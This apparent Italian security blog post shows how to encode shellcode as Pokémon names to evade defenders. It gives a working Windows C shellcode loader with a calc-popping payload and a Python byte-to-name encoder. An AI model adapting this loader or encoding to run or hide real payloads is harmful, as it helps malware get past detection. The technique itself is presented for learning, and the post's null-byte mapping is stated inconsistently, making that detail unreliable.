
Stanco di guardare hex tutto il giorno e di sputare '\x41'? Preferisci guardare Lugia/Charmander? Ho la soluzione per te.
Stanco di guardare hex tutto il giorno e di vedere spuntare sempre '\x41'? Preferisci guardare Lugia/Charmander? Ho la soluzione per te. È arrivato un tweet da @Checkymander sulla creazione di uno shellcode loader a partire dai nomi dei Pokémon. Progetto davvero divertente per prendere in giro la blue team, ma non c'era un POC! (o almeno quando ho controllato l'ultima volta)
Nota #1 Il codice aggiornato sarà sul mio GitHub: https://github.com/Techryptic/Pokemon-Shellcode-Loader
Nota #2 GitBooks: https://techryptic.gitbook.io/pokemon-shellcode
Nota #3 GitPages: https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader
Ci sono molti modi per farlo: Se guardiamo uno shellcode, è una serie di valori hex da 0x00-0xFF, o in forma decimale da 0-256. Caso vuole che ci siano molti più di 256 Pokémon tra cui scegliere.
Osservando la tabella dei Pokémon qui sopra, possiamo tradurre BULBASAUR, che è #001, in 0x01 (togliendo lo zero iniziale). Allo stesso modo, CHARMANDER sarà rappresentato da 0x04 e così via. Il fortunato byte nullo 0x00 può essere allineato al Pokémon #257, BLAZIKEN!
Convertire uno shellcode in Pokemon-Shellcode è semplice. E passare da Pokemon-Shellcode ad Assembly?! Vogliamo un Array dentro il .ASM? Codice C? Scaricarlo esternamente?
Ci sono molte direzioni possibili!
Ci servono dati. Per prima cosa, ho trovato due fonti che contengono sia il numero del Pokémon che il suo nome:
https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6
E un'altra che contiene solo il nome del Pokémon. Questa potrebbe essere più utile perché possiamo ottenere la posizione dell'indice dell'array per un determinato pokemon senza dover gestire una lunga stringa.
https://github.com/sindresorhus/pokemon/blob/main/data/en.json
Sto prendendo un normale shellcode POP CALC e ci butto sopra un po' di C.
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
Non male. Non sta facendo nulla di malevolo, ma comunque... non male.
Un semplice script converte un oggetto byte di shellcode in Pokémon Shellcode.
import json
shellcode = (b"\x41\x42\x20\x43")
#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))
Prendendo lo shellcode qui sopra:
\x00\x31\xc0\x50\x68\x2f\x2F
Si converte in:
Curiosità: volevo mantenere il nome del Pokémon allineato al suo numero (BULBASAUR = #1, o 0x01), quindi dovevo riempire lo 0x00/byte nullo con qualcosa. Cosa c'è di più adatto di MISSINGNO?!
Un altro problema è che il Pokémon Farfetch'd ha un apostrofo, come mostrato sotto. La soluzione facile è semplicemente rimuoverlo e chiamarlo: Farfetchd
Infine, ci sono anche due Pokémon che condividono lo stesso nome una volta rimossi i simboli; la soluzione per quei due è stata aggiungere una F (per femmina) e per l'altro aggiungere una M (per maschio).